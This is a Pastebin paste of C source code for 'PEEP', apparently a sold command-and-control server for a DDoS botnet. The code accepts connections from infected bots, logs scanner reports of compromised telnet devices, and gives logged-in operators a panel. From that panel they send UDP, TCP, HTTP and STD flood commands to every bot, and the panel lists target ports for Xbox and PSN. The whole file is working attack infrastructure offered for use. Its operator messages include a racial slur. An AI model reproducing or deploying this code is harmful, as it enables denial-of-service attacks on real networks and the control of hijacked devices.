Advertisement
Guest User

PEEP SERVER.C

a guest
Aug 31st, 2018
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.76 KB | None | 0 0
  1. // Thanks For Buying!
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdint.h>
  5. #include <inttypes.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netdb.h>
  10. #include <unistd.h>
  11. #include <time.h>
  12. #include <fcntl.h>
  13. #include <sys/epoll.h>
  14. #include <errno.h>
  15. #include <pthread.h>
  16. #include <signal.h>
  17. #include <arpa/inet.h>
  18. #define MAXFDS 1000000
  19. //////////////////////////////////
  20. struct login_info {
  21. char username[20];
  22. char password[20];
  23. };
  24. static struct login_info accounts[22];
  25. struct clientdata_t {
  26. uint32_t ip;
  27. char connected;
  28. } clients[MAXFDS];
  29. struct telnetdata_t {
  30. int connected;
  31. } managements[MAXFDS];
  32. struct args {
  33. int sock;
  34. struct sockaddr_in cli_addr;
  35. };
  36. static volatile FILE *telFD;
  37. static volatile FILE *fileFD;
  38. static volatile int epollFD = 0;
  39. static volatile int listenFD = 0;
  40. static volatile int OperatorsConnected = 0;
  41. static volatile int TELFound = 0;
  42. static volatile int scannerreport;
  43. //////////////////////////////////
  44. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  45. int total = 0, got = 1;
  46. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  47. return got;
  48. }
  49. void trim(char *str) {
  50. int i;
  51. int begin = 0;
  52. int end = strlen(str) - 1;
  53. while (isspace(str[begin])) begin++;
  54. while ((end >= begin) && isspace(str[end])) end--;
  55. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  56. str[i - begin] = '\0';
  57. }
  58. static int make_socket_non_blocking (int sfd) {
  59. int flags, s;
  60. flags = fcntl (sfd, F_GETFL, 0);
  61. if (flags == -1) {
  62. perror ("fcntl");
  63. return -1;
  64. }
  65. flags |= O_NONBLOCK;
  66. s = fcntl (sfd, F_SETFL, flags);
  67. if (s == -1) {
  68. perror ("fcntl");
  69. return -1;
  70. }
  71. return 0;
  72. }
  73. static int create_and_bind (char *port) {
  74. struct addrinfo hints;
  75. struct addrinfo *result, *rp;
  76. int s, sfd;
  77. memset (&hints, 0, sizeof (struct addrinfo));
  78. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  79. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  80. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  81. s = getaddrinfo (NULL, port, &hints, &result);
  82. if (s != 0) {
  83. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  84. return -1;
  85. }
  86. for (rp = result; rp != NULL; rp = rp->ai_next) {
  87. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  88. if (sfd == -1) continue;
  89. int yes = 1;
  90. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  91. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  92. if (s == 0) {
  93. break;
  94. }
  95. close (sfd);
  96. }
  97. if (rp == NULL) {
  98. fprintf (stderr, "Could not bind\n");
  99. return -1;
  100. }
  101. freeaddrinfo (result);
  102. return sfd;
  103. }
  104. void broadcast(char *msg, int us, char *sender)
  105. {
  106. int sendMGM = 1;
  107. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  108. char *wot = malloc(strlen(msg) + 10);
  109. memset(wot, 0, strlen(msg) + 10);
  110. strcpy(wot, msg);
  111. trim(wot);
  112. time_t rawtime;
  113. struct tm * timeinfo;
  114. time(&rawtime);
  115. timeinfo = localtime(&rawtime);
  116. char *timestamp = asctime(timeinfo);
  117. trim(timestamp);
  118. int i;
  119. for(i = 0; i < MAXFDS; i++)
  120. {
  121. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  122. if(sendMGM && managements[i].connected)
  123. {
  124. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  125. send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS
  126. send(i, ": ", 2, MSG_NOSIGNAL);
  127. }
  128. printf("sent to fd: %d\n", i);
  129. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  130. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37mPEEP: ", 13, MSG_NOSIGNAL);
  131. else send(i, "\n", 1, MSG_NOSIGNAL);
  132. }
  133. free(wot);
  134. }
  135. void *BotEventLoop(void *useless) {
  136. struct epoll_event event;
  137. struct epoll_event *events;
  138. int s;
  139. events = calloc (MAXFDS, sizeof event);
  140. while (1) {
  141. int n, i;
  142. n = epoll_wait (epollFD, events, MAXFDS, -1);
  143. for (i = 0; i < n; i++) {
  144. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  145. clients[events[i].data.fd].connected = 0;
  146. close(events[i].data.fd);
  147. continue;
  148. }
  149. else if (listenFD == events[i].data.fd) {
  150. while (1) {
  151. struct sockaddr in_addr;
  152. socklen_t in_len;
  153. int infd, ipIndex;
  154.  
  155. in_len = sizeof in_addr;
  156. infd = accept (listenFD, &in_addr, &in_len);
  157. if (infd == -1) {
  158. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  159. else {
  160. perror ("accept");
  161. break;
  162. }
  163. }
  164.  
  165. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  166. int dup = 0;
  167. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  168. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  169. if(clients[ipIndex].ip == clients[infd].ip) {
  170. dup = 1;
  171. break;
  172. }}
  173. if(dup) {
  174. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  175. close(infd);
  176. continue;
  177. }
  178. s = make_socket_non_blocking (infd);
  179. if (s == -1) { close(infd); break; }
  180. event.data.fd = infd;
  181. event.events = EPOLLIN | EPOLLET;
  182. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  183. if (s == -1) {
  184. perror ("epoll_ctl");
  185. close(infd);
  186. break;
  187. }
  188. clients[infd].connected = 1;
  189. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  190. }
  191. continue;
  192. }
  193. else {
  194. int datafd = events[i].data.fd;
  195. struct clientdata_t *client = &(clients[datafd]);
  196. int done = 0;
  197. client->connected = 1;
  198. while (1) {
  199. ssize_t count;
  200. char buf[2048];
  201. memset(buf, 0, sizeof buf);
  202. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  203. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  204. trim(buf);
  205. if(strcmp(buf, "PING") == 0) {
  206. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  207. continue;
  208. }
  209. if(strstr(buf, "REPORT ") == buf) {
  210. char *line = strstr(buf, "REPORT ") + 7;
  211. fprintf(telFD, "%s\n", line);
  212. fflush(telFD);
  213. TELFound++;
  214. continue;
  215. }
  216. if(strstr(buf, "PROBING") == buf) {
  217. char *line = strstr(buf, "PROBING");
  218. scannerreport = 1;
  219. continue;
  220. }
  221. if(strstr(buf, "REMOVING PROBE") == buf) {
  222. char *line = strstr(buf, "REMOVING PROBE");
  223. scannerreport = 0;
  224. continue;
  225. }
  226. if(strcmp(buf, "PONG") == 0) {
  227. continue;
  228. }
  229. printf("buf: \"%s\"\n", buf);
  230. }
  231. if (count == -1) {
  232. if (errno != EAGAIN) {
  233. done = 1;
  234. }
  235. break;
  236. }
  237. else if (count == 0) {
  238. done = 1;
  239. break;
  240. }
  241. if (done) {
  242. client->connected = 0;
  243. close(datafd);
  244. }
  245. }
  246. }
  247. }
  248. }
  249. }
  250. unsigned int BotsConnected() {
  251. int i = 0, total = 0;
  252. for(i = 0; i < MAXFDS; i++) {
  253. if(!clients[i].connected) continue;
  254. total++;
  255. }
  256. return total;
  257. }
  258. void *TitleWriter(void *sock) {
  259. int datafd = (int)sock;
  260. char string[2048];
  261. while(1) {
  262. memset(string, 0, 2048);
  263. sprintf(string, "%c]0;Bots: %d | Users: %d%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
  264. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  265. sleep(2);
  266. }}
  267. int Find_Login(char *str) {
  268. FILE *fp;
  269. int line_num = 0;
  270. int find_result = 0, find_line=0;
  271. char temp[512];
  272.  
  273. if((fp = fopen("login.txt", "r")) == NULL){
  274. return(-1);
  275. }
  276. while(fgets(temp, 512, fp) != NULL){
  277. if((strstr(temp, str)) != NULL){
  278. find_result++;
  279. find_line = line_num;
  280. }
  281. line_num++;
  282. }
  283. if(fp)
  284. fclose(fp);
  285. if(find_result == 0)return 0;
  286. return find_line;
  287. }
  288. void *BotWorker(void *sock) {
  289. int datafd = (int)sock;
  290. int find_line;
  291. OperatorsConnected++;
  292. pthread_t title;
  293. char buf[2048];
  294. char* username;
  295. char* password;
  296. memset(buf, 0, sizeof buf);
  297. char botnet[2048];
  298. memset(botnet, 0, 2048);
  299.  
  300. FILE *fp;
  301. int i=0;
  302. int c;
  303. fp=fopen("login.txt", "r");
  304. while(!feof(fp)) {
  305. c=fgetc(fp);
  306. ++i;
  307. }
  308. int j=0;
  309. rewind(fp);
  310. while(j!=i-1) {
  311. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  312. ++j;
  313. }
  314.  
  315. if(send(datafd, "\x1b[31m1USERNAME: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  316. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  317. trim(buf);
  318. char* nickstring;
  319. sprintf(accounts[find_line].username, buf);
  320. nickstring = ("%s", buf);
  321. find_line = Find_Login(nickstring);
  322. if(strcmp(nickstring, accounts[find_line].username) == 0){
  323. if(send(datafd, "\x1b[31mPASSWORD: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  324. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  325. trim(buf);
  326. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  327. memset(buf, 0, 2048);
  328. goto Banner;
  329. }
  330. failed:
  331. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  332. char failed_line1[80];
  333.  
  334. sprintf(failed_line1, "\x1b[37mGET THE FUCK OUT OF HERE\r\n");
  335. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  336. sleep(5);
  337. goto end;
  338.  
  339. Banner:
  340. pthread_create(&title, NULL, &TitleWriter, sock);
  341. char ascii_banner_line1 [5000];
  342. char ascii_banner_line2 [5000];
  343. char ascii_banner_line3 [5000];
  344. char ascii_banner_line4 [5000];
  345. char ascii_banner_line5 [5000];
  346. char ascii_banner_line6 [5000];
  347. char welcome_line [80];
  348. char banner_bot_count [2048];
  349. memset(banner_bot_count, 0, 2048);
  350.  
  351. sprintf(ascii_banner_line1, "\x1b[1;35m██████╗ ███████╗███████╗██████╗ \r\n");
  352. sprintf(ascii_banner_line2, "\x1b[1;35m██╔══██╗██╔════╝██╔════╝██╔══██╗ \r\n");
  353. sprintf(ascii_banner_line3, "\x1b[1;35m██████╔╝█████╗ █████╗ ██████╔╝ \r\n");
  354. sprintf(ascii_banner_line4, "\x1b[1;35m██╔═══╝ ██╔══╝ ██╔══╝ ██╔═══╝ \r\n");
  355. sprintf(ascii_banner_line5, "\x1b[1;35m██║ ███████╗███████╗██║ \r\n");
  356. sprintf(ascii_banner_line6, "\x1b[1;35m╚═╝ ╚══════╝╚══════╝╚═╝ \r\n");
  357. sprintf(banner_bot_count, "\r\n\x1b[35m \x1b[35m[ \x1b[35mType HELP %s\x1b[35m ]\r\n", accounts[find_line].username);
  358. // Welcome line is being a dick, fix if you want.
  359. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  360. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  361. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  362. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  363. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  364. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  365. while(1) {
  366. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  367. if(send(datafd, "\x1b[35mPEEP:>", 12, MSG_NOSIGNAL) == -1) goto end;
  368. break;
  369. }
  370. pthread_create(&title, NULL, &TitleWriter, sock);
  371. managements[datafd].connected = 1;
  372.  
  373. while(fdgets(buf, sizeof buf, datafd) > 0)
  374. {
  375. if(strstr(buf, "BOTS")) {
  376. char botcount [2048];
  377. memset(botcount, 0, 2048);
  378. sprintf(botcount, "[+] - Bots Connected: [\x1b[37m %d \x1b[31m] [+] - Users Online: [\x1b[37m %d \x1b[31m]\r\n", BotsConnected(), OperatorsConnected);
  379. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  380. if(send(datafd, "\x1b[35mPEEP:>", 12, MSG_NOSIGNAL) == -1) goto end;
  381. continue;
  382. }
  383. if(strstr(buf, "STATUS")){
  384. char statuscount [2048];
  385. memset(statuscount, 0, 2048);
  386. sprintf(statuscount, "[+] - Devices: [\x1b[37m %d \x1b[37m] [+] - Status: [\x1b[37m %d \x1b[37m]\r\n", TELFound, scannerreport);
  387. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  388. if(send(datafd, "\x1b[35mPEEP:>", 12, MSG_NOSIGNAL) == -1) goto end;
  389. continue;
  390. }
  391. if(strstr(buf, "HELP")) {
  392. pthread_create(&title, NULL, &TitleWriter, sock);
  393. char helpline1 [80];
  394. char helpline2 [80];
  395. char helpline3 [80];
  396. char helpline4 [80];
  397. char helpline5 [80];
  398. char helpline6 [80];
  399. char helpline7 [80];
  400. char helpline9 [80];
  401. char helpline11 [80];
  402. char helpline12 [80];
  403. char helpline13 [80];
  404. char helpline14 [80];
  405. char helpline15 [80];
  406.  
  407. sprintf(helpline1, " \r\n\x1b[31m[ \x1b[37mPEEP Commands \x1b[31m]\r\n\r\n");
  408. sprintf(helpline2, " \x1b[35m-> UDP - \x1b[37m!* UDP IP Port Time 32 0 10\r\n");
  409. sprintf(helpline3, " \x1b[35m-> TCP - \x1b[37m!* TCP IP Port Time 32 all 0 10\r\n");
  410. sprintf(helpline4, " \x1b[35m-> HTTP - \x1b[37m!* HTTP Url Time\r\n");
  411. sprintf(helpline5, " \x1b[35m-> STD - \x1b[37m!* STD IP PORT TIME\r\n");
  412. sprintf(helpline7, " \x1b[35m-> Kills Attack - \x1b[37mKILL\r\n");
  413. sprintf(helpline9, " \x1b[35m-> Bot Count - \x1b[37mBOTS\r\n");
  414. sprintf(helpline11, " \x1b[35m-> Clear Screen - \x1b[37mCLEAR\r\n");
  415. sprintf(helpline12, " \x1b[35m-> LOGOUT - \x1b[37mLOGOUT\r\n");
  416. sprintf(helpline13, " \x1b[35m-> RULES - \x1b[37mRULES\r\n");
  417. sprintf(helpline14, " \x1b[35m-> ATTACK PORTS - \x1b[37mPORTS\r\n");
  418. sprintf(helpline15, " \r\n");
  419.  
  420. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  421. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  422. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  423. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  424. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  425. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  426. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  427. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  428. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  429. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  430. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  432. pthread_create(&title, NULL, &TitleWriter, sock);
  433. if(send(datafd, "\x1b[35mPEEP:>", 12, MSG_NOSIGNAL) == -1) goto end;
  434. continue;
  435. }
  436. if(strstr(buf, "ATTACK")) {
  437. pthread_create(&title, NULL, &TitleWriter, sock);
  438. char ls1 [80];
  439. char ls2 [80];
  440. char ls3 [80];
  441. char ls4 [80];
  442. char ls5 [80];
  443.  
  444. sprintf(ls1, " \r\n\x1b[31m[ \x1b[37m Gang Attacks \x1b[31m]\r\n\r\n");
  445. sprintf(ls2, " \x1b[35m-> UDP - \x1b[37m!* UDP IP Port Time 32 0 10\r\n");
  446. sprintf(ls3, " \x1b[35m-> TCP - \x1b[37m!* TCP IP Port Time 32 all 0 10\r\n");
  447. sprintf(ls4, " \x1b[35m-> HTTP - \x1b[37m!* HTTP Url Time\r\n");
  448. sprintf(ls5, " \x1b[35m-> STD - \x1b[37m!* STD IP PORT TIME\r\n");
  449.  
  450. if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
  452. if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
  453. if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
  454. if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end;
  455.  
  456. pthread_create(&title, NULL, &TitleWriter, sock);
  457. if(send(datafd, "\x1b[35mPEEP:>", 12, MSG_NOSIGNAL) == -1) goto end;
  458. continue;
  459. }
  460.  
  461. if(strstr(buf, "KILL")) {
  462. char killattack [2048];
  463. memset(killattack, 0, 2048);
  464. sprintf(killattack, "!* KILLATTK\r\n");
  465. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  466. if(send(datafd, "\x1b[35mPEEP:>", 12, MSG_NOSIGNAL) == -1) goto end;
  467. continue;
  468. }
  469. if(strstr(buf, "CLEAR")) {
  470. char clearscreen [2048];
  471. memset(clearscreen, 0, 2048);
  472. sprintf(clearscreen, "\033[2J\033[1;1H");
  473. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  474. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  475. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  476. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  477. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  478. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  479. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  480. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  481. while(1) {
  482. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  483. if(send(datafd, "\x1b[35mPEEP:>", 12, MSG_NOSIGNAL) == -1) goto end;
  484. break;
  485. }
  486. continue;
  487. }
  488. if(strstr(buf, "RULES")) {
  489. pthread_create(&title, NULL, &TitleWriter, sock);
  490. char tos1 [80];
  491. sprintf(tos1, "\r\n\x1b[37mRULES: \x1b[31mBe A Haxor | Do Not Spam Attacks | No Giving Out Login Credentials | No DDoSing Government Sites\r\n\r\n");
  492.  
  493. if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end;
  494. pthread_create(&title, NULL, &TitleWriter, sock);
  495. if(send(datafd, "\x1b[35mPEEP:>", 12, MSG_NOSIGNAL) == -1) goto end;
  496. continue;
  497. }
  498. if(strstr(buf, "PORTS")) {
  499. pthread_create(&title, NULL, &TitleWriter, sock);
  500. char tos1 [80];
  501. sprintf(tos1, "\r\n\x1b[37mPORTS: \x1b[31mXBOX: 3074 | PSN: 443 | DEFAULT: 80 | DNS: 53\r\n\r\n");
  502.  
  503. if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end;
  504. pthread_create(&title, NULL, &TitleWriter, sock);
  505. if(send(datafd, "\x1b[35mPEEP:>", 12, MSG_NOSIGNAL) == -1) goto end;
  506. continue;
  507.  
  508. }
  509.  
  510. if(strstr(buf, "LOGOUT")) {
  511. char logoutmessage [2048];
  512. memset(logoutmessage, 0, 2048);
  513. sprintf(logoutmessage, "Bye Nigga, %s", accounts[find_line].username);
  514. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  515. sleep(5);
  516. goto end;
  517. }
  518. trim(buf);
  519. if(send(datafd, "\x1b[35mPEEP:>", 11, MSG_NOSIGNAL) == -1) goto end;
  520. if(strlen(buf) == 0) continue;
  521. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  522.  
  523. FILE *LogFile;
  524. LogFile = fopen("server.log", "a");
  525. time_t now;
  526. struct tm *gmt;
  527. char formatted_gmt [50];
  528. char lcltime[50];
  529. now = time(NULL);
  530. gmt = gmtime(&now);
  531. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  532. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  533. fclose(LogFile);
  534. broadcast(buf, datafd, accounts[find_line].username);
  535. memset(buf, 0, 2048);
  536. }
  537. end:
  538. managements[datafd].connected = 0;
  539. close(datafd);
  540. OperatorsConnected--;
  541. }
  542. void *BotListener(int port) {
  543. int sockfd, newsockfd;
  544. socklen_t clilen;
  545. struct sockaddr_in serv_addr, cli_addr;
  546. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  547. if (sockfd < 0) perror("ERROR opening socket");
  548. bzero((char *) &serv_addr, sizeof(serv_addr));
  549. serv_addr.sin_family = AF_INET;
  550. serv_addr.sin_addr.s_addr = INADDR_ANY;
  551. serv_addr.sin_port = htons(port);
  552. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  553. listen(sockfd,5);
  554. clilen = sizeof(cli_addr);
  555. while(1) {
  556. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  557. if (newsockfd < 0) perror("ERROR on accept");
  558. pthread_t thread;
  559. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  560. }}
  561. int main (int argc, char *argv[], void *sock)
  562. {
  563. signal(SIGPIPE, SIG_IGN);
  564. int s, threads, port;
  565. struct epoll_event event;
  566. if (argc != 4) {
  567. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  568. exit (EXIT_FAILURE);
  569. }
  570. port = atoi(argv[3]);
  571. telFD = fopen("telnet.txt", "a+");
  572. threads = atoi(argv[2]);
  573. listenFD = create_and_bind (argv[1]);
  574. if (listenFD == -1) abort ();
  575. s = make_socket_non_blocking (listenFD);
  576. if (s == -1) abort ();
  577. s = listen (listenFD, SOMAXCONN);
  578. if (s == -1) {
  579. perror ("listen");
  580. abort ();
  581. }
  582. epollFD = epoll_create1 (0);
  583. if (epollFD == -1) {
  584. perror ("epoll_create");
  585. abort ();
  586. }
  587. event.data.fd = listenFD;
  588. event.events = EPOLLIN | EPOLLET;
  589. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  590. if (s == -1) {
  591. perror ("epoll_ctl");
  592. abort ();
  593. }
  594. pthread_t thread[threads + 2];
  595. while(threads--) {
  596. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  597. }
  598. pthread_create(&thread[0], NULL, &BotListener, port);
  599. while(1) {
  600. broadcast("PING", -1, "bots");
  601. sleep(60);
  602. }
  603. close (listenFD);
  604. return EXIT_SUCCESS;
  605. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement